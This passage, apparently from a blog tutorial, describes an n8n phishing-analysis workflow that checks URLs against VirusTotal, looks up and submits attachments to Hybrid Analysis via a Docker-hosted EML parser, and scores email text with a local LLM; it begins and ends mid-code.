   url: null,<br>      reason: &quot;no_url_found&quot;<br>    }<br>  }];<br>}<br><br><br>const url = $json.url.toString().trim();<br><br>return [{<br>  json: {<br>    url<br>  }<br>}];</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/702/1*Ggv9Z4rFw55dJAKSLnvyVw.png" /></figure><p><strong>8.Code Node4</strong></p><p><em>This node prepares URLs for </em><strong><em>VirusTotal analysis</em></strong><em> while adding robust validation and fault tolerance to the workflow. It first checks whether a valid string-based URL exists in the current item; if the URL is missing or malformed, the node safely skips processing by returning a structured response that explicitly marks the item as skipped and records the reason, preventing downstream API calls from failing. When a valid URL is present, the node generates a </em><strong><em>VirusTotal-compatible URL identifier</em></strong><em> by encoding the URL in URL-safe Base64 format, ensuring it can be directly used with VirusTotal’s URL lookup endpoints. The output clearly separates valid and skipped items, enabling reliable reputation checks, clean error handling, and accurate correlation in later stages of the email analysis playbook.</em></p><pre>const url = $json.url;<br><br><br>if (!url || typeof url !== &#39;string&#39;) {<br>  return [{<br>    json: {<br>      url: null,<br>      vt_url_id: null,<br>      skipped: true,<br>      reason: &#39;url_is_null_or_invalid&#39;<br>    }<br>  }];<br>}<br><br><br>const vtId = Buffer<br>  .from(url, &#39;utf8&#39;)<br>  .toString(&#39;base64&#39;)<br>  .replace(/\+/g, &#39;-&#39;)<br>  .replace(/\//g, &#39;_&#39;)<br>  .replace(/=+$/, &#39;&#39;);<br><br>return [{<br>  json: {<br>    url,<br>    vt_url_id: vtId,<br>    skipped: false<br>  }<br>}];</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*vEE1ze2elkljMXn8IGkvVg.png" /></figure><p><strong>9.Code Node6</strong></p><p><em>This node processes each incoming item by extracting the </em><em>url field, normalizing it as a trimmed string, and generating a VirusTotal-compatible URL identifier from it. It encodes the URL in UTF-8 Base64 format and then converts it into a URL-safe Base64 variant by removing padding characters (</em><em>=) and replacing </em><em>+ with </em><em>- and </em><em>/ with </em><em>_. The resulting value is stored as </em><em>vt_url_id, and a corresponding VirusTotal API endpoint (</em><em>https://www.virustotal.com/api/v3/urls/{id}) is constructed and saved as </em><em>vt_lookup, enabling direct lookup of the URL’s analysis results via the VirusTotal v3 API.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/695/1*h18awVfBpCqmReS7Zx8i5g.png" /></figure><p><strong>10.HTTP Request 1</strong></p><p><em>This node dynamically builds a VirusTotal API request URL by inserting the previously generated </em><em>vt_url_id value into the endpoint path. The expression </em><em>{{$json.vt_url_id}} pulls the Base64 URL-safe encoded identifier from the current item’s JSON data and appends it to </em><em>https://www.virustotal.com/api/v3/urls/, forming a complete request URL. When used in an HTTP request node, this endpoint retrieves the analysis details, reputation data, and scan results for the corresponding URL from the VirusTotal v3 API.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/467/1*HPWMrj4rvu2F9loa9UgVzw.png" /></figure><p><strong>11.Code Node 17</strong></p><p><em>This node processes the VirusTotal API response and converts the raw analysis output into a simplified security summary. It first extracts the </em><em>data.attributes object from the first item and checks whether </em><em>last_analysis_stats exists; if not, it assigns a default result with a verdict of </em><em>&quot;unknown&quot; and an error message indicating that no analysis statistics were found. If statistics are available, it reads the scan counts (malicious, suspicious, harmless, undetected, timeout), safely defaults missing values to </em><em>0, and builds a structured </em><em>vt_url object. It also determines a final verdict using simple logic: if any engine marked the URL as malicious, the verdict becomes </em><em>&quot;malicious&quot;; if none are malicious but at least one is suspicious, it becomes </em><em>&quot;suspicious&quot;; otherwise, it is labeled </em><em>&quot;clean&quot;. In short, this node translates detailed VirusTotal scan data into a compact, decision-ready threat assessment.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/693/1*6D6VfBPNmndJMUmXEAfHbA.png" /></figure><p><strong>12.Code Node 19</strong></p><p><em>This node collects all incoming items and transforms the output so that only the </em><em>vt_url object remains in each item’s JSON payload. It iterates over every input item and returns a new structure containing </em><em>item.json.vt_url if it exists; otherwise, it safely returns an empty object. In practice, this acts as a cleanup or normalization step, stripping away all other fields and passing forward only the summarized VirusTotal verdict data for downstream processing.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/630/1*WyOvR-3Q4VpgnWB6eP9P7w.png" /></figure><p><strong>HASH ANALYSIS</strong></p><p>13.<strong>Code Node 11</strong></p><p><em>This node standardizes the binary attachment field by ensuring that the email content is always stored under </em><em>binary.eml, regardless of the original binary property name. It first checks whether any binary data exists in the input item and throws an error if none is found. Then, it prefers the </em><em>eml field if it already exists; otherwise, it selects the first available binary key. Finally, it assigns that binary content to </em><em>binary.eml, effectively normalizing the structure so downstream nodes can reliably reference the email file without worrying about varying binary field names.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/636/1*Tg0_g81RBGeH_wqwsPUYMw.png" /></figure><p>14.HTTP Request 6</p><p><em>This Docker command launches a lightweight Node.js 20 (Alpine-based) container named </em><em>eml-attachment inside the </em><em>n8n_default network and exposes port </em><strong><em>4000</em></strong><em> to the host. When the container starts, it dynamically creates a small Express-based API service that installs </em><em>express, </em><em>multer, and </em><em>mailparser, then builds and runs a </em><em>server.js file. The service exposes a </em><em>POST /parse-eml endpoint that accepts a multipart upload with a </em><em>file field containing an </em><em>.eml email file. It parses the email using </em><em>mailparser, extracts all attachments, and returns them as JSON objects including filename, content type, size, SHA-256 hash, and Base64-encoded content. In short, this container acts as a minimal EML attachment extraction microservice—perfect for feeding email attachments into automation pipelines (for example, in n8n) for further analysis such as malware scanning or hashing workflows.</em></p><pre>docker run -d --name eml-attachment \<br>  --network n8n_default \<br>  -p 4000:4000 \<br>  node:20-alpine sh -lc &#39;<br>    mkdir -p /app &amp;&amp; cd /app<br>    npm init -y &gt;/dev/null 2&gt;&amp;1<br>    npm i express multer mailparser &gt;/dev/null 2&gt;&amp;1<br><br>    cat &gt; server.js &lt;&lt; &quot;JS&quot;<br>const express = require(&quot;express&quot;);<br>const multer = require(&quot;multer&quot;);<br>const crypto = require(&quot;crypto&quot;);<br>const { simpleParser } = require(&quot;mailparser&quot;);<br><br>const app = express();<br>const upload = multer();<br><br>app.post(&quot;/parse-eml&quot;, upload.single(&quot;file&quot;), async (req, res) =&gt; {<br>  try {<br>    if (!req.file || !req.file.buffer) {<br>      return res.status(400).json({ error: &quot;file field missing&quot; });<br>    }<br><br>    const mail = await simpleParser(req.file.buffer);<br><br>    const attachments = (mail.attachments || []).map(a =&gt; ({<br>      filename: a.filename,<br>      content_type: a.contentType,<br>      size: a.size,<br>      sha256: crypto.createHash(&quot;sha256&quot;).update(a.content).digest(&quot;hex&quot;),<br>      data_base64: a.content.toString(&quot;base64&quot;)<br>    }));<br><br>    res.json({ attachments });<br>  } catch (err) {<br>    res.status(500).json({ error: err.message || String(err) });<br>  }<br>});<br><br>app.listen(4000, &quot;0.0.0.0&quot;, () =&gt; {<br>  console.log(&quot;eml-attachment listening on 4000&quot;);<br>});<br>JS<br><br>    node server.js<br>  &#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/422/1*iCID201oDAmy_SAQTIP4RQ.png" /></figure><p><strong>15.Split Out</strong></p><p><em>This configuration in the n8n </em><strong><em>Item Lists (Split Out Items)</em></strong><em> node takes the </em><em>attachments array from the incoming JSON and splits each element into a separate item. By setting </em><strong><em>Fields To Split Out</em></strong><em> to </em><em>attachments, the node iterates over each attachment object, and with </em><strong><em>Include</em></strong><em> set to </em><em>No Other Fields, it excludes all other original fields from the output. The </em><strong><em>Destination Field Name</em></strong><em> set to </em><em>attachment ensures that each resulting item contains a single attachment object under the </em><em>attachment property. In short, this node transforms a single item containing multiple attachments into multiple items, each representing one attachment for individual processing in subsequent workflow steps.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/414/1*D8lFUWAbGswsx1RzIkSwYA.png" /></figure><p><strong>16.HTTP Request 7</strong></p><p><em>This configuration shows an n8n </em><strong><em>HTTP Request</em></strong><em> node set up to query the Hybrid Analysis API for an attachment’s reputation using its SHA-256 hash. The method is </em><strong><em>GET</em></strong><em>, and the endpoint is </em><em>https://www.hybrid-analysis.com/api/v2/search/hash. Query parameters are enabled, with the </em><em>hash parameter dynamically populated using the expression </em><em>{{$json.attachment.sha256}}, meaning each split attachment item sends its own SHA-256 value to the API. Headers are also enabled (typically for the API key and required headers such as </em><em>api-key and </em><em>User-Agent). In summary, this node takes each individual attachment extracted earlier and checks whether it already exists in Hybrid Analysis by performing a hash-based lookup.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/426/1*qiizzoypgGnpV4slOX6rJg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/403/1*ycLGyq1PNW_ujzwl9u8GYQ.png" /></figure><p><strong>17.Code Node 18</strong></p><p><em>This node processes the Hybrid Analysis API response and converts potentially complex sandbox report data into a concise SOC-oriented summary. It first extracts the SHA-256 hash from multiple possible fields (</em><em>sha256, </em><em>hash, or the first value in </em><em>sha256s) to ensure compatibility with different response formats. It then iterates through all available sandbox </em><em>reports, counting how many verdicts are labeled as malicious, suspicious, or implicitly clean, while also collecting any </em><em>environment_description values to track where the sample was executed. Based on these counts, it determines an overall verdict using priority logic (malicious &gt; suspicious &gt; clean) and assigns a confidence level depending on how many malicious findings exist. Finally, it constructs a direct Hybrid Analysis sample link (if a hash is available) and returns a structured output containing the hash, verdict, confidence, statistical breakdown, execution environments, and reference link—effectively transforming raw sandbox data into an actionable threat assessment summary.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/633/1*urqKR7GVBSZi7LKT_zSUCA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/594/1*cLRetslzGTxvg0Imtaz5Sw.png" /></figure><p><strong>SANDBOX ANALYSIS</strong></p><p><strong>18.Code Node 13</strong></p><p><em>This node normalizes the binary data structure by ensuring that the email content is always accessible under </em><em>binary.eml, regardless of the original binary field name. It first retrieves the binary object from the first item and checks whether any binary keys exist; if none are found, it throws an error to prevent silent failures. If binary data is present, it prioritizes an existing </em><em>eml field; otherwise, it selects the first available binary key. It then assigns that binary content to </em><em>binary.eml, guaranteeing a consistent field name for downstream nodes that expect the email file under a standardized binary property.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/631/1*yHK9ToYQe5TO-cDUo5DBNA.png" /></figure><p><strong>19.HTTP Request8</strong></p><p><em>This configuration shows an n8n </em><strong><em>HTTP Request</em></strong><em> node set up to send an email file to a local EML parsing microservice. The method is </em><strong><em>POST</em></strong><em>, and the URL </em><em>http://eml-attachment:4000/parse-eml targets the Docker container running the custom EML attachment extraction API within the same network. The body is enabled and configured as </em><strong><em>Form-Data</em></strong><em>, with the parameter type set to </em><strong><em>n8n Binary File</em></strong><em>, meaning it sends a binary file from the workflow. The parameter name is </em><em>file, which matches what the Express server expects (</em><em>upload.single(&quot;file&quot;)), and the </em><strong><em>Input Data Field Name</em></strong><em> is </em><em>eml, indicating that the binary content stored under </em><em>binary.eml will be uploaded. In summary, this node takes the standardized email file from the workflow and submits it to the parsing service, which then extracts and returns the email’s attachments for further analysis.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/415/1*IgUvr6fanQ_NfrZRz9F6IQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/695/1*hJnnOQH9bbQopraXj6xTIA.png" /></figure><p><strong>20.Split Out 2</strong></p><p><em>This screenshot shows the n8n workflow after the </em><strong><em>Item Lists (Split Out Items)</em></strong><em> node has processed the </em><em>attachments array returned from the EML parsing service. On the left, the input contains a single item with an </em><em>attachments array that includes multiple files (e.g., </em><em>darktortilla.exe and </em><em>remcosrat.exe), each with metadata such as </em><em>filename, </em><em>content_type, </em><em>size, </em><em>sha256, and </em><em>data_base64. The node is configured to split the </em><em>attachments field and output each element separately under the </em><em>attachment field, excluding all other original fields. As a result, on the right side under </em><strong><em>OUTPUT</em></strong><em>, you can see two distinct items—each representing one attachment object—making it possible to process, scan, or enrich each file independently in the following steps of the workflow.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4IhDmCgGueFhzvMs94oZ5w.png" /></figure><p>21.Split Out</p><p><strong><em>Split Out</em></strong><em> node in n8n that is configured to split specific nested fields from the </em><em>attachment object, namely </em><em>attachment.filename and </em><em>attachment.data_base64. The input contains a single attachment object (e.g., </em><em>remcosrat.exe) with its metadata and Base64-encoded content. By listing </em><em>attachment.filename, attachment.data_base64 under </em><strong><em>Fields To Split Out</em></strong><em> and keeping </em><strong><em>Include</em></strong><em> set to </em><strong><em>No Other Fields</em></strong><em>, the node isolates only those specified properties and outputs them as separate items. As shown on the right, the result contains items where each output focuses strictly on the selected fields, allowing more granular downstream processing—such as decoding, file reconstruction, or sending only the raw Base64 payload to another analysis service.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vIxwbdgLn-3oVsLArbw7sQ.png" /></figure><p><strong>22.Convert the binary</strong></p><p><em>This screenshot shows the n8n </em><strong><em>Convert to File</em></strong><em> node configured to reconstruct a binary file from a Base64-encoded string. The operation selected is </em><strong><em>“Move Base64 String to File”</em></strong><em>, meaning the node takes the Base64 data stored in the field </em><em>attachment.data_base64, decodes it, and converts it into an actual binary file. The decoded output is stored in the binary property named </em><em>file. On the right side under </em><strong><em>Output (Binary)</em></strong><em>, you can see the generated file object, including metadata such as file name (</em><em>file.exe), extension (</em><em>exe), MIME type (</em><em>application/x-msdownload), and size (1.19 MB), along with a download option. In short, this node transforms the extracted attachment’s Base64 content back into a real executable file, making it ready for downloading or further analysis in the workflow.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NEtViNV5BYyDTW_OYuQQ4Q.png" /></figure><p><strong>23.HTTP Request9</strong></p><p><em>This node is configured to send a </em><strong><em>POST</em></strong><em> request to </em><em>https://hybrid-analysis.com/api/v2/submit/file in order to submit a file to Hybrid Analysis for malware analysis. It uses custom headers for authentication, specifically an </em><em>api-key header containing the API key and a </em><em>User-Agent header set to </em><em>n8n-eml-attachment. Query parameters are disabled, and authentication is handled manually via headers rather than a built-in auth method. When executed successfully, the node returns metadata about the submission, including the </em><em>job_id, </em><em>submission_id, </em><em>environment_id (e.g., 100), and the calculated </em><em>sha256 hash of the uploaded file, confirming that the sample has been accepted and queued for analysis.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OQOImtvhlpzY_j0IEMktpA.png" /></figure><p><strong>24.HTTP Request10</strong></p><p><em>This HTTP Request node sends a </em><strong><em>GET</em></strong><em> request to </em><em>https://hybrid-analysis.com/api/v2/overview/{{ $json.sha256 }} to retrieve the analysis results of a previously submitted file using its SHA-256 hash dynamically passed from earlier workflow steps. Authentication is handled via custom headers, including the required </em><em>api-key and a </em><em>User-Agent set to </em><em>n8n-eml-attachment. The response returns detailed malware analysis metadata such as the file hash, alternative file names, threat score (100), verdict (malicious), file size and type (PE32 .NET executable), submission and analysis timestamps, detection tags (e.g., </em><em>infostealer), malware family classification (</em><em>Win/malicious_confidence_100%), and multi-engine scan results, allowing the workflow to programmatically evaluate whether the file is malicious and take further action accordingly.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BupNTS0O-i8Q3BOH6aSWSg.png" /></figure><p><strong>25. HTTP Request11</strong></p><p><em>This HTTP Request node performs a </em><strong><em>GET</em></strong><em> call to the Hybrid Analysis </em><em>overview endpoint using the SHA-256 value dynamically referenced from a previous node (</em><em>$(&#39;HTTP Request9&#39;).item.json.sha256). It authenticates via custom headers, including the required </em><em>api-key and a </em><em>User-Agent set to </em><em>n8n-eml-attachment. The purpose of this step is to retrieve the final analysis summary of the submitted file and extract key decision fields such as </em><em>threat_score (100), </em><em>verdict (malicious), submission timestamps, and multi-scan results (69 detections). These output values are typically used downstream in the workflow—especially after an IF node—to make automated decisions, such as flagging, blocking, or escalating the file if it is confirmed malicious.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-Ebl6_luY3BwDXDHF4GKJw.png" /></figure><p><strong>26. Code Node JavaScript7</strong></p><p><em>This JavaScript code processes the first incoming item’s JSON data and normalizes the sandbox analysis output into a clean, standardized object for downstream use. It first extracts the response into </em><em>s, then normalizes the </em><em>verdict field by converting it to lowercase or setting it to </em><em>&quot;malicious&quot; if a boolean </em><em>malicious flag is true, defaulting to </em><em>&quot;unknown&quot; otherwise. It determines the threat score by checking multiple possible field names (</em><em>threat_score, </em><em>score, </em><em>risk_score) and falling back to </em><em>0 if none exist. For malware classification, it attempts to build a readable </em><em>malware_family value from an array or string </em><em>classification field, or alternatively from </em><em>malware_family. It constructs a sandbox report link using </em><em>analysis_url, </em><em>report_url, or dynamically generates one using the sample </em><em>id if available. The script also creates a short summary from </em><em>summary or </em><em>description, with a default fallback message if neither exists. Finally, it returns a structured object containing key fields such as </em><em>sha256, normalized </em><em>verdict, calculated </em><em>threat_score, </em><em>malware_family, sandbox link, summary, submission timestamps, and multiscan results—essentially transforming raw API output into a clean, decision-ready format for automation workflows.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T3JH8CeDFDL-MXr-6xWJvA.png" /></figure><p><strong>27.Code Node14</strong></p><p><em>This JavaScript snippet ensures that an incoming item contains binary data and standardizes it under the </em><em>eml binary property for consistent downstream processing. It first retrieves the </em><em>binary object from the first item and collects its keys. If no binary data exists, it throws an error to stop execution. It then determines the source binary field: if an </em><em>eml property already exists, it uses that; otherwise, it selects the first available binary key dynamically. The script then guarantees that the </em><em>binary object exists and assigns the selected binary content to </em><em>binary.eml, effectively renaming or duplicating the file stream under a consistent </em><em>eml key. Finally, it returns the modified </em><em>items array, ensuring later nodes can reliably reference the attachment as </em><em>binary.eml without worrying about original field names.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zQnlMNEQrYFs3vNsDOk_xw.png" /></figure><p><strong>28.HTTP Request12</strong></p><p><em>This HTTP Request node sends a </em><strong><em>POST</em></strong><em> request to </em><em>http://eml-parser:3000/parse-eml to parse an uploaded </em><em>.eml email file and extract its contents. The request body is enabled and configured as </em><strong><em>Form-Data</em></strong><em>, with the parameter type set to </em><strong><em>n8n Binary File</em></strong><em>, meaning it uploads the binary email file (standardized earlier as </em><em>binary.eml) under the field name </em><em>file. No authentication or custom headers are used. The parser service processes the raw RFC822 email (4.17 MB in this case) and returns structured output including sender (</em><em>from), subject, plain text and HTML bodies, extracted URLs, and additional metadata such as authentication results and received headers. This step essentially converts a raw email attachment into structured JSON so the workflow can analyze phishing indicators, embedded links, and suspicious content programmatically.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0J9r6rjvFmY725uwXULKUw.png" /></figure><p><strong>29.Edit Node</strong></p><p><em>This expression builds a dynamic prompt for an AI model by combining a fixed instruction with the parsed email content extracted earlier in the workflow. The static section defines the model’s role as a senior SOC analyst specializing in phishing detection and instructs it to return only valid JSON, including a phishing score between 1 and 10. The dynamic part, </em><em>{{ $json.body_text }}, injects the plain-text content of the parsed email directly into the prompt at runtime. As shown in the result panel, the final rendered prompt includes the full email body—containing urgency language, account restriction warnings, and suspicious URLs—so the AI can evaluate it contextually. In short, this step transforms structured email parsing output into a properly formatted LLM-ready prompt for automated phishing risk scoring.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lr8ql6JLlkhEM9bSwdigMw.png" /></figure><p><strong>30. HTTP Request13</strong></p><p>This HTTP Request node sends a POST request to a local AI API (/api/generate) with a JSON body containing a prompt that instructs the model to act as a senior SOC analyst specialized in phishing and email threat analysis; it includes the email content to be analyzed and requires the model to return only valid JSON with a phishing score (between 1–10), structured analysis details, and any detected suspicious links, while the request uses the Content-Type: application/json header and no authentication, and the response output contains metadata such as the model name and timestamp along with the generated JSON analysis, which can then be used in the workflow for automated alerting, scoring, or further security actions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qYkwXC5TIx5_mlwmDmdTHg.png" /></figure><p><strong>31.Code Node8</strong></p><p><em>This JavaScript code processes all incoming items, extracts the AI model’s raw </em><em>response field, and parses it using regular expressions to retrieve the </em><em>phishing_score, any </em><em>reasons array, optional </em><em>description fields, and </em><em>type values; it prioritizes descriptions over reasons when available, falls back to types if reasons are empty, then evaluates the phishing score to generate a risk-based Turkish summary (high, suspicious, or low risk) and determines a boolean </em><em>isPhishing flag (true if score ≥ 6), finally attaching a structured </em><em>ai_analysis object to each item’s JSON output containing the model name, parsed score, reasons, detected types, generated summary, phishing verdict, and the original raw response for traceability.</em></p><pre>const items = $input.all();<br><br>for (const item of items) {<br>  const response = item.json.response || &#39;&#39;;<br>  <br> <br>  let phishingScore = 0;<br>  let reasons = [];<br>  let aiSummary = &#39;&#39;;<br>  <br> <br>  const scoreMatch = response.match(/[&quot;&#39;]?phishing_score[&quot;&#39;]?\s*:\s*(\d+)/i);<br>  if (scoreMatch) {<br>    phishingScore = parseInt(scoreMatch[1], 10);<br>  }<br>  <br><br>  const reasonsMatch = response.match(/[&quot;&#39;]?reasons[&quot;&#39;]?\s*:\s*\[([\s\S]*?)\]/i);<br>  if (reasonsMatch) {<br>   <br>    const reasonsStr = reasonsMatch[1];<br>    const reasonItems = reasonsStr.match(/&quot;([^&quot;]+)&quot;/g);<br>    if (reasonItems) {<br>      reasons = reasonItems.map(r =&gt; r.replace(/&quot;/g, &#39;&#39;));<br>    }<br>  }<br>  <br> <br>  const descMatches = response.match(/&quot;description&quot;\s*:\s*&quot;([^&quot;]+)&quot;/g);<br>  if (descMatches &amp;&amp; descMatches.length &gt; 0) {<br>    reasons = descMatches.map(d =&gt; {<br>      const match = d.match(/&quot;description&quot;\s*:\s*&quot;([^&quot;]+)&quot;/);<br>      return match ? match[1] : &#39;&#39;;<br>    }).filter(r =&gt; r.length &gt; 0);<br>  }<br>  <br>  <br>  const typeMatches = response.match(/&quot;type&quot;\s*:\s*&quot;([^&quot;]+)&quot;/g);<br>  let types = [];<br>  if (typeMatches) {<br>    types = typeMatches.map(t =&gt; {<br>      const match = t.match(/&quot;type&quot;\s*:\s*&quot;([^&quot;]+)&quot;/);<br>      return match ? match[1] : &#39;&#39;;<br>    }).filter(t =&gt; t.length &gt; 0);<br>  }<br>  <br>  <br>  if (reasons.length === 0 &amp;&amp; types.length &gt; 0) {<br>    reasons = types;<br>  }<br>  <br>  <br>  if (phishingScore &gt;= 7) {<br>    aiSummary = &#39;Bu e-posta YÜKSEK OLASILIKLA phishing içermektedir.&#39;;<br>  } else if (phishingScore &gt;= 5) {<br>    aiSummary = &#39;Bu e-posta ŞÜPHELİ özellikler taşımaktadır.&#39;;<br>  } else {<br>    aiSummary = &#39;Bu e-posta düşük risk taşımaktadır.&#39;;<br>  }<br>  <br>  // Sonucu kaydet<br>  item.json.ai_analysis = {<br>    model: item.json.model || &#39;llama3.1:8b&#39;,<br>    phishingScore: phishingScore,<br>    reasons: reasons,<br>    types: types,<br>    summary: aiSummary,<br>    isPhishing: phishingScore &gt;= 6,<br>    rawResponse: response<br>  };<br>}<br><br>return items;</pre><p><strong>32.Code Node15</strong></p><p><em>This </em><strong><em>Code in JavaScript</em></strong><em> node runs once for all incoming items, retrieves them using </em><em>$input.all(), and returns a new mapped output where each item’s JSON only contains the </em><em>response field from the previous node (or </em><em>null if it does not exist), effectively simplifying and normalizing the payload by stripping out metadata such as </em><em>model, </em><em>created_at, </em><em>done, and </em><em>context, so that downstream nodes work with a cleaner structure focused solely on the AI-generated response content.</em></p><pre>const items = $input.all();<br><br>return items.map(item =&gt; ({<br>  json: {<br>    response: item.json.response ?? null<br>  }<br>}));</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a6zcwUBIw4LgEVJDIKtLHA.png" /></figure><p><strong>33.Code Node 16</strong></p><p><em>This JavaScript node iterates over all incoming items, reads the </em><em>response field returned by the AI, safely attempts to parse it as JSON (handling both string and already-parsed object formats), extracts the </em><em>phishing_score value and any </em><em>analysis.threats array if present, and in case of parsing errors defaults both to zero and an empty list; it then creates a normalized </em><em>ai object inside each item containing </em><em>phishingScore, the extracted </em><em>reasons, and an </em><em>isPhishing boolean flag set to true when the score is 6 or higher, ensuring a clean, consistent structure for downstream workflow logic regardless of variations in the raw AI response format.</em></p><pre>const items = $input.all();<br><br>for (const item of items) {<br>  let aiPhishingScore = 0;<br>  let aiReasons = [];<br><br>  try {<br>    const aiRaw = item.json.response;<br>    if (aiRaw) {<br>      const aiParsed = typeof aiRaw === &#39;string&#39;<br>        ? JSON.parse(aiRaw)<br>        : aiRaw;<br><br>      aiPhishingScore = aiParsed.phishing_score ?? 0;<br><br>      if (Array.isArray(aiParsed.analysis?.threats)) {<br>        aiReasons = aiParsed.analysis.threats;<br>      }<br>    }<br>  } catch (e) {<br>    aiPhishingScore = 0;<br>    aiReasons = [];<br>  }<br><br>  <br>  item.json.ai = {<br>    phishingScore: aiPhishingScore,<br>    reasons: aiReasons,<br>    isPhishing: aiPhishingScore &gt;= 6<br>  };<br>}<br><br>return items;</pre><p><strong>34.Code Node 5</strong></p><pre>const items = $input.all();<br><br><br>let allItemsDebug = items.map((item, index) =&gt; ({<br>  index,<br>  keys: Object.keys(item.json),<br>  hasResponse: item.json.response !== undefined,<br>  hasAI: item.json.ai !== undefined,<br>  responseType: typeof item.json.response,<br>  sample: JSON.stringify(item.json).slice(0, 200)<br>}));<br><br><br>let urlData = null;<br>let hashData = null;<br>let sandboxData = null;<br>let aiData = null;<br><br>let rawResponses = {<br>  url: null,<br>  hash: null,<br>  sandbox: null,<br>  ai: null<br>};<br><br>let debugAI = {<br>  foundItems: [],<br>  itemCount: items.length,<br>  allItems: allItemsDebug  <br>};<br><br><br>for (let i = 0; i &lt; items.length; i++) {<br>  const j = items[i].json;<br>  <br>  debugAI.foundItems.push({<br>    itemIndex: i,<br>    keys: Object.keys(j),<br>    hasResponse: j.response !== undefined,<br>    hasAI: j.ai !== undefined<br>  });<br><br>  <br>  if (j.url &amp;&amp; j.malicious !== undefined) {<br>    urlData = {<br>      scannedUrl: j.url,<br>      malicious: j.malicious ?? 0,<br>      suspicious: j.suspicious ?? 0,<br>      harmless: j.harmless ?? 0,<br>      undetected: j.undetected ?? 0,<br>      verdict: j.verdict ?? &#39;N/A&#39;<br>    };<br>    rawResponses.url = j;<br>  }<br><br><br>  if (j.hash &amp;&amp; j.confidence) {<br>    hashData = {<br>      value: j.hash,<br>      verdict: j.verdict ?? &#39;N/A&#39;,<br>      confidence: j.confidence ?? &#39;N/A&#39;,<br>      maliciousCount: j.stats?.malicious ?? 0,<br>      sandboxRuns: j.stats?.sandbox_runs ?? 0<br>    };<br>    rawResponses.hash = j;<br>  }<br><br>  <br>  if (j.threat_score !== undefined &amp;&amp; j.sha256) {<br>    sandboxData = {<br>      verdict: j.verdict ?? &#39;N/A&#39;,<br>      threatScore: j.threat_score ?? 0,<br>      sha256: j.sha256,<br>      environments: j.environments ?? [],<br>      haLink: j.ha_link ?? null,<br>      malwareFamily: j.malware_family ?? null<br>    };<br>    rawResponses.sandbox = j;<br>  }<br><br>  <br>  let foundScore = 0;<br>  let foundReasons = [];<br>  let foundSummary = &#39;Analiz yapılamadı&#39;;<br>  let foundModel = &#39;llama3.1:8b&#39;;<br>  let aiSource = null;<br><br>  <br>  if (j.response &amp;&amp; typeof j.response === &#39;string&#39;) {<br>    debugAI.foundItems.push({ itemIndex: i, check: &#39;response_string_found&#39;, value: j.response.slice(0, 100) });<br>    try {<br>      const parsed = JSON.parse(j.response);<br>      foundScore = Number(parsed.phishing_score) || Number(parsed.phishingScore) || Number(parsed.score) || 0;<br>      foundReasons = parsed.reasons || [];<br>      foundSummary = parsed.description || parsed.summary || parsed.analysis || &#39;Analiz yapılamadı&#39;;<br>      aiSource = &#39;response_string&#39;;<br>      debugAI.foundItems.push({ itemIndex: i, check: &#39;response_parsed&#39;, score: foundScore });<br>    } catch (e) {<br>      debugAI.foundItems.push({ itemIndex: i, check: &#39;response_parse_error&#39;, error: e.message });<br>    }<br>  }<br><br>  <br>  if (j.response &amp;&amp; typeof j.response === &#39;object&#39;) {<br>    debugAI.foundItems.push({ itemIndex: i, check: &#39;response_object_found&#39; });<br>    const score = Number(j.response.phishing_score) || Number(j.response.phishingScore) || 0;<br>    if (score &gt; foundScore) {<br>      foundScore = score;<br>      foundReasons = j.response.reasons || [];<br>      foundSummary = j.response.description || j.response.summary || &#39;Analiz yapılamadı&#39;;<br>      aiSource = &#39;response_object&#39;;<br>    }<br>  }<br><br> <br>  if (j.ai) {<br>    debugAI.foundItems.push({ itemIndex: i, check: &#39;ai_object_found&#39;, aiKeys: Object.keys(j.ai), phishingScore: j.ai.phishingScore });<br>    const score = Number(j.ai.phishingScore) || Number(j.ai.phishing_score) || 0;<br>    <br>    if (score &gt; foundScore) {<br>      foundScore = score;<br>      foundReasons = j.ai.reasons || [];<br>      foundSummary = j.ai.summary || &#39;Analiz yapılamadı&#39;;<br>      foundModel = j.ai.model || &#39;llama3.1:8b&#39;;<br>      aiSource = &#39;ai_object&#39;;<br>    }<br>    <br>   <br>    if (j.ai.isPhishing === true &amp;&amp; foundScore &lt; 7) {<br>      foundScore = 7;<br>      aiSource = &#39;ai_isPhishing_flag&#39;;<br>    }<br>  }<br><br>  <br>  if (j.phishingScore !== undefined) {<br>    debugAI.foundItems.push({ itemIndex: i, check: &#39;root_phishingScore&#39;, value: j.phishingScore });<br>    const score = Number(j.phishingScore) || 0;<br>    if (score &gt; foundScore) {<br>      foundScore = score;<br>      aiSource = &#39;root_level&#39;;<br>    }<br>  }<br><br>  <br>  if (foundScore &gt; 0 &amp;&amp; (!aiData || foundScore &gt; 